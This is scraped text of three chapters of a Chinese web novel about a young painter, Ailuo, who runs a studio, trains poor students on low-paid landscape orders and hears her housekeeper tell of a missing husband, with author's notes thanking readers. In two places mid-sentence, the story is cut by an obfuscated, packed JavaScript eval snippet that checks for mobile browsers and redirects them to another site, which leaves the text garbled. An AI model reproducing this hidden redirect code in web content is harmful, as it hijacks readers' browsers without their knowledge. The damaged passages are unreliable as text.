科马脸上神色变换，想到每幅画6个先令的转手价，考虑到如同捡钱一样的未来，下定决心道：“支付20%的定金，每月交货不少于20副，上不封顶。” 以后每个季度都增加8-10个学生，如果培训班一直开下去，以一年为期，假设师资力量能满足需求，从第二期的学生开始计算，理论上，最多可以有30个人同时接这种订单。 当然，实际上肯定不会有这么多人，会有退学的，找到活儿干离开的。但如果按照每人每周一副画计算，一个月完成20副画很容易。 虽然双方都不是很满意，但各有所求，合则两利。最终，科马和爱洛各退一步，看过样稿后，确认30%的定金，旺季过后的10月底开始交付，这一单生意才算是成了。 谈完这件事，爱洛心里的石头少了一块。先前跟拉维恩教务长讨论让学生们隔日来画室实习的时候，对于旺季过后人员怎么安排还有些挠头。这下子，算是有了比较好的解决方案。 否则，即使爱洛愿意出费用，可要是没活儿干，自己却不得不安排学生们来打杂，一来会扰乱正常的订单流程，二来，画室的小楼也挤不下这么多人。 当天，爱洛回到画室，做了一份小型风景装饰画预算表。根据尺寸和内容，预计每幅画的材料成本为1.5个先令（18个便士）左右，每人工费5个便士，去掉2个便士的佣金，再预估2个便士的费用。基本上，3个先令的售价她能有9个便士的利润，都不够费功夫的。 这个预算表，是为了拿给拉维恩参考的。如果学校不让学生们在教室完成，爱洛还得另找地方，可就有些被动了。 一眨眼，到了日间学校开课的日子。 上午讲完基础线条，下午学完语言后，爱洛来到拉维恩的办公室，递上了一份《关于借用学校教室开展学生绘画技能实践》的申请。 。。。。。。 作者有话要说： 感谢在2024-02-0417:00:13~2024-02-0517:49:47期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使：云香波60瓶；梨花白19瓶；阿哟哟、喜新厌旧10瓶；多肉葡萄5瓶；霁玙2瓶；呐QVQ、Yolanda1瓶；非常感谢大家对我的支持，我会继续努力的！ 118. 又是一年秋 看过申请，拉维恩告诉她：“如果你的订单盈利，学校是不能出借教室的。” 爱洛算了一笔隐形的支出：“纸面上有9个便士的利润，但很多投入都没算，实际根本达不到。后面如果我忙不过来，会让画室的独立画师来授课，这些利润，会用作补贴付出去。” 拉维恩点头，同意爱洛的说法。她很清楚，这种订单如果能够一直有，对学生们会有莫大的好处。这可比那些收费高昂的专业绘画学校实用。 天才毕竟是少数，既然指望着这门手艺吃饭，那就早点开始练习接单糊口好了。 “我会在校务会议上提案，争取尽快通过。”拉维恩决定促成这件事。 现在距离订单正式开始还有两个月，要早做准备。申请上已经重点说明，9月份要开第三期培训班，到时候协调三个阶段的教学，测试学生水平，安排订单，可复杂着呢。 把风景速成画订单的前期事务丢给拉维恩，爱洛回归本职工作，在两个现场来回轮换，疯狂赶工。 时间匆匆而过，不知不觉间，酷热的旺季结束了。 第二批宗教画加上银月温泉本年度的修缮画，飞舞的加西亚，在业务上和管理上都迈出了一大步。 收入增长，人员扩张，大笔收款，爽快发薪，痛快放假，一气呵成。在这方面，爱洛秉承绝不拖延的思路，毫不迟疑。 员工休假的一周中，爱洛只歇了两天，其他时间没闲着，制定新一期的教学内容，调配人员，整理绘画用具清单，为同期开课的不同进度培训班做全面计划。 今年夏天在画室帮忙，学生们挣到了钱，尝到了甜头，提高了画技，全要继续参加第三期的学习。 眼看把自己分成两半也绝不够用，爱洛启动了备用方案，准备让已经成长为正式画师的三位助手来教授最基础的第一期入门班。 教材是现成的，用到的技法也很简单，对他们来说，难度不大。根据爱洛自身的经历，在讲解过程中很有可能会引发思考，复盘画技得到灵感，绝对是开悟提升的好机会。 此外，爱洛会把学生订单中的利润提出来6便士，加上本由学校支付6便士，每人每教一次课，能拿到1先令的补课费。 对于没有出头的画师来说，运气普通的时候，一幅画也挣不到这个钱。 假期结束回画室开工的新晋画师们，聚在小楼的餐厅，听爱洛宣布这个新决定后，彼此眉眼乱飞，但就是没人作声。 自认为考虑的非常周到，所有人都受益的爱洛没想到是个冷场的局面，找不到原因，开口问道：“你们不乐意吗？能告诉我理由吗？” 沉默了一会儿，布利揉了揉脸，低声道：“也不是不乐意，就是，我从来没有上过绘画学校，去当老师是不是不合适？” 迈克斯吞吞吐吐，平日里的八面玲珑完全消失了：“教材里的内容虽然都懂，可我其实不是这么学会的，好像不是一个画法。” 爱洛看向特雷，他抓了一把头发，说道：“我也说不好。嗯，我们去讲课，学生们能同意吗？他们学不会算谁的？” 本诺听了画室中坚力量们的回答，哈哈大笑道：“不是对自己没信心，就是对学生没信心，我看，你们正是该去锻炼一下。” 没人不愿意，只是对新事物有所畏惧，不敢尝试而已。 这就好。 爱洛笑了笑，用不容否定的语气说道：“每人四次课，各讲一个章节，加起来正好是入门班的一期课程，我已经把所有的教材内容修订好了，你们谁先来？” “我，我先来吧。”反正躲不过去，布利率先开口。 迈克斯觑了他一眼，紧接着说道：“我可以第二个讲色彩。” “我怎么都行。”特雷摊手，说晚了，没的选。 见他们虽然热情不高，但也没有强烈反对，爱洛笑道：“布利抓紧时间看一下教材，本周三个班一起开课。” 当日午饭后的休息时间，布利抓住卢卡和莱莉，让他们俩在餐厅又学了一遍初级绘画工具的认知和使用课，听得两人只打呵欠。 布利完全没有被临时学生们的厌学态度影响，照着爱洛给的教案，手里的工具比划来比划去，越讲越来劲，直到他的助手在一旁提醒了好几次，才意犹未尽的上楼干活。 下午茶歇的时候，他主动找爱洛谈了谈感受：“比想象中简单，还偶尔会发现过去从未注意过的点。似乎，手里的画笔更灵活了。” 听到这番话，爱洛还没说什么，正在喝茶的迈克斯差点没喷出来，中午布利的课他也站在一边听了，挺普通的，嘲弄道：“就那么一会儿，你被绘画大神附体了？” 爱洛笑得有些深意：“很好，继续保持，你会有更多收获的。”有感悟就对了，这是带着脑子在讲课。 其他人笑而不语，事不关己看热闹。 迈克斯和特雷听完这句评价，迷茫了。如果布利说的是真的，那自己，是不是也可以期待一下接下来的课程了？ 成功利用未知的神秘勾起画师们的期待，爱洛完全不理会他们之间的暗中较量，有竞争才能进步嘛。 两天后，拉维恩找人送信：“两轮投票，校务会同意将闲置的阁楼整理出来，供绘画班的学生练习。时长不限，绘画用具自备。” 接近两个月过去了，原本使用教室的申请一直没消息，爱洛都以为没戏了，考虑了其他办法，实在不行把餐厅空出来当新的场地，大家在客厅吃饭好了。 还好赶在速成画订单正式开工前批准下来了，后面清理场地，采购画架画纸什么的都由本诺来办，她就只管绘画上的事。 周末，爱洛和布利在日间学校碰头，他的同事迈克斯和特雷也在，说不好是来助阵的，还是来取经的，大概都有吧。 专门安排入门班的课提前开始，爱洛听了十分钟，节奏内容没问题，下面第一次接触绘画的学生们也都专心致志，才悄悄从后门溜走，去给第二期和第三期的学生们上课。 爱洛的绘画初级提升课和高级进阶课讲的很顺利。在一个教室里两期套作，练手的练手，听课的听课，毫无违和感。 课后，爱洛发布了大家可以通过风景速成画挣钱的消息：“达到要求的每幅画5个便士，按件结算。” “喔喔喔，”教室里的十来个孩子沸腾了，如同放出了一百只鸭子，全是问题： “想画多少都行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|10730958|103149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” “我去哪里买颜料？” “我家里没有桌子怎么办？” 。。。。。。 对即将开工订单的主力队员，爱洛很有耐心，放任他们吵吵了半天，才“咣咣”敲了好几下挂着教学内容的木板，抬高声音说道：“安静一下。回去跟家里人商量，如果愿意干，明早八点，来学校的顶层阁楼，你们什么都不用带，质量过关的画才收，达不到要求的不要。” 想画多少都行吗？想得美。 吉斯那样的水平，照着画稿，加上自己的指导，练熟了以后，刚开始一周能完成一幅画就算是很优秀的了。 教室里的嘈杂声又大起来，都在互相讨论，每周能画几幅画，能挣多少钱，没人在意爱洛提到的，要跟家里人商量一下的事儿。 挣钱还用商量？没听说过。 本诺这些天忙得晕头转向，先去蛛网商行收定金取画稿，再到地图街货比三家，总算在开班当日，把采购到的十副小型画架，三箱通用型画笔送进了学校阁楼。 为了控制成本，还用了来自杂货街二手店的画纸，和多家店铺拼凑的颜料，为速成画订单的开工做足了准备。 长达半年的培训班和夏季的实习为持续学习绘画的孩子们打牢了根基，在这个秋天，结出了青涩的果实。 早上七点多，爱洛到达用作画室的学校阁楼时，里面已经如同石匠街的菜市场一般喧闹。 今天画室继续开工，她只能抽出半天时间在这里，想着提早来准备，没想到，一说挣钱都很心急，只有早到，没有迟到。 见爱洛进来，室内的声音低了下去，学生们都兴奋地看着本诺打开早就堆在角落的箱子，拿出里面的绘画材料，将画架、画笔、颜料和画纸分成若干份，整齐地放在一边。 接着，爱洛把手里拆开的画稿一人一张分给第三期的学生们，说道：“按照上课时要求的流程，照着画。” 然后，让第二期的学生使用剩下的五个画架，每两人一组，吩咐道：“每组一个画架，一个人准备纸笔调色，另一个人画。然后再轮换。” 叮叮咣咣，换位置的，找颜料的，乱了好一阵儿，阁楼里才逐渐安静下来， 速成画的内容全是非常简单的风景，复杂的静物画稿这次一张都没要。即便是这样，对于只经过短期训练的学生们来说，初始难度并不小。 因为当初做教学内容的时候，就考虑到零基础学员快速上手的问题，所以，教的时候就是按照拆分的步骤讲解的。这会儿只要套用当初的方法就行，不用从落笔开始再从头到尾把每幅画讲一遍。 一上午，第三期的学生们在尝试过几张画纸后，勉强能够自己动笔了。而第二期的学生，即便是照着画，都还在前期的构图和调色上来回返工。 这些都在爱洛的预料之内，时间有富裕，成本有考量，倒也不着急。 嘱咐本诺在这里看着现场秩序，自己回画室赶工去了。 按照安排，她第二天下午才会过来。 作者有话要说： 节前排榜，今日双更，上榜日更，无榜请假。嘿嘿嘿。。。有霸王票投一个吧，有营养液来两瓶吧。 119. 温切尔的家事 经过一天多的练习摸索，学校的阁楼画室逐步走上了正轨。 第三期的学生们秩序井然，大家的水平差不多，每个人专心在忙自己手里的画，不时还交流一番。看到了生活的曙光，都很认真卖力。 另一边的学生们，两两互相配合，但毕竟学习的时间太短，实习基本没赶上，都处于听着会，看着会，动笔之后就不会的状态。加上画架有限，偶尔还有人为了使用时长和调色正确与否争执起来。 本诺在这里盯了近两天，已经处理好几起这样的事了。午饭后见到爱洛，叫苦道：“孩子们为了各自该画多长时间来找我，我该怎么说呢？” 爱洛笑道：“没有足够的空间，时间有限，谁练的多，谁提升的就多，这是资源不足导致的矛盾，很正常。” 然后，当天就调整了合用画架小组的方案。一人画一天，这样不被打断，练习效果会更好一些。空闲下来的人，如果实在缺钱，轮空的这天可以去干别的，也可以来画室帮忙调色，整理画笔画架，练习学徒的基本功。 这样下来，每个人都有均等的机会来提高画技。在爱洛的指导下，一个月后，第二期的学生们虽然速度慢，但画出来的画，9成以上能达标了。 第一次速成画交付前，学生们完成的作品，质量能够通过爱洛验收的只够一半的数量，幸好飞舞的加西亚现在人多，在学徒和助手们的帮助下，终于在最后一天凑齐了交货的量。 碰到无数问题，但全都解决了。 爱洛收到第一批20副画价值2个几尼的尾款时，叹息道：“花费的时间和精力比肖像画多得多。结果，一共只拿到了3个几尼，扣掉成本，我还得贴钱。” 新业务刚起步，投入大，成品率低。 废掉的画纸，用掉的颜料，没有变为能出售的画作，而是成了学生们手中提高的画技。 一副画，本诺能收取2个便士的佣金，他虽然不用负担成本，但要负责采购材料，管理画室现场，忙碌程度也翻了好几倍。 可订单是他找来的，不好泄气，只讪笑道：“这种订单要等后面规模起来才行，我们这属于从无到有，前期费用只能慢慢弥补。” 爱洛摇头道：“我也没指望这个画挣钱，只要能持平就行。” 给两人上茶的温切尔听了一会儿，问道：“不挣钱又费事，何必接这种单？” 本诺解释道：“一环套一环，既不是我们想接这种单，学校的绘画班，也不是爱洛主动去的。我听说，附近的住户们，去年就经常到学校询问绘画课程的事情，还给负责拨款的主管部门写信，要求本社区的日间学校必须回应居民的诉求。要不然，城里哪有日间学校开绘画课程的？连很多全日制寄宿学校，都未必请得起绘画老师呢。” “那跟我们画室接单有什么关系？”温切尔不明白。 “眼看住在一条街上的邻居挣了大钱，大家都知道当画师是条好出路。上不起绘画学校，就想办法让天天能见到的画师来教一教。但真正的画师要学很多年，普通家庭不富裕，挺不住长期投入，总要快点看到效果，又不可能全都收进我们的画室来当学徒，所以还要想办法给学生们找活儿干。”本诺无奈道。 要不是这样，自己干嘛非要接这种费时费力不挣钱的单呢？光是宗教画的佣金，就是他过去一两年收入的总和了。 他这么拼，不就是希望爱洛能够在这里稳稳当当开画室吗？ 温切尔问道：“那他们学过一期，去外面当学徒不就行了？” 本诺反问她：“为什么以前就没听说附近有去做学徒的孩子呢？” “呃，”温切尔总算明白了。 任何赚钱的行业，都是一个圈，不是想进就进的。 在培训班学上几个月半年，是不足以让大多数孩子从业的。所以，只能尽可能的找机会提高他们的技术水平，以图在未来求职时多一些筹码。 温切尔彻底知道爱洛到底在干一件什么事了。 眼前的这个小姑娘，像小乞丐一样来到石匠街，不过区区三年，她已经成长为很多人家的希望，想要孩子们跟着她找到更好的生计。 谁能想得到，当初无意间领了个路，结果，现在自己就有了一份收入不低，让街坊们非常羡慕的工作呢？ 送人玫瑰，手有余香。 想起曾经身为园丁的祖父经常说的这句话，温切尔笑了，看向爱洛的眼神愈发温柔：“我一直相信，只要真诚待人，就一定会有好事发生，你肯定会有好运的。” “哈哈，我现在的运气就不差了。” 爱洛对于轻微亏损的订单没太在意，早就预料到了，姐现在有钱，亏得起。 并且，正如本诺所说，往后完成的订单越多，学生们前期的练习成本就会被摊薄，只要坚持住，能运转下去就是成功。 在画室的宗教画，培训班的课程，学校阁楼的速成画之间来回切换的爱洛，这天午饭后，好不容易空出一点时间，站在小楼的后院里透气。 深秋季节的小花园，在温切尔的侍弄下，依然能够五色繁茂，锦绣斑斓。 “你都能让郁金香和薰衣草开到这个时候了，先前为什么不去做园丁，而是在街上干洗衣服的零活呢？” 爱洛懒洋洋看着面前浅紫色的一簇植物，忽然有些好奇。 就凭她这一手反季开花的技术，爱洛感觉到，温切尔如果去城北，随便就能找到月薪一个几尼的园丁工作，整理花园的活儿不用时刻跟在主人身边，隔日去也行，不耽误照顾小塞拉。 “因为我担心塞拉的父亲回来找不到人，进不了家门。” 温切尔跟爱洛很熟悉了，说到了这个话题，顺便讲了讲自己的家事：“三年前的夏天，就是你来的那年，古兹跟着商行的人去车站送货，结果不知道怎么回事，好几个在车厢里点货的人没能下来，被火车带走了。原以为过一段时间就会回来，结果到现在也没消息。” 说到这件事，一向看起来乐观积极的温切尔脸色不太好了：“商行的人先前说，有人在兰敦的车站看到过拜阿斯城的人在那边卸货，可人就是没回来，好几家凑钱托人去找，没找见。” 大男人还能丢了。。。 爱洛精神一震，想起那个曾经想拐卖自己的邻居家亲戚，女孩子卖去当舞女，男人？差点顺嘴说出“奴隶”来，幸亏嘴闭得快，好悬没咬着舌头。 “嗯，不是好几个人一起的吗？估计是不方便联系，不会有事的。”苍白的安慰了几句，聊胜于无，爱洛说道：“还是得找当初的商行问清楚，他们总发货，对兰敦更熟悉。” 温切尔发愁道：“每周都去问，都没消息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯，听起来像是她那个失踪三年的丈夫回来了。”爱洛跟莱莉交代：“午饭肯定来不及了，你跟卢卡去面包店按照人数买三明治，各种口味都要有，顺便听听街面上有没有什么消息。” “是。”莱莉从爱洛这里领到2个先令的费用，兴高采烈地上楼喊卢卡，两人带着双重任务去了杂货街。 等爱洛手里的活儿告一段落，感觉肚子有点饿，一看时间，快十二点了。 画室少了厨娘，午餐都没人提醒了。 作者有话要说： 哎呦怎么同时更新的117比118少了好些人看呀，是没发现先更的一章吗？总不能追更的还跳着看吧。这剧情能接上吗。。。。存稿箱加班中春节期间，回复评论可能不会那么及时了，但我会找时间看的，请大家保持投票留言的好习惯呀么么哒感谢在2024-02-0517:53:30~2024-02-0617:00:00期间为我投出霸王票或灌溉营养液的小天使哦~感谢投出地雷的小天使：梨花白1个；感谢灌溉营养液的小天使：航海家330瓶；柿子饼34瓶；yepupu16瓶；烨曳5瓶；霁玙3瓶；梦影随行、半夜的脑子、Yolanda、别叫我千万别点我名、342470392瓶；582487921瓶；非常感谢大家对我的支持，我会继续努力的！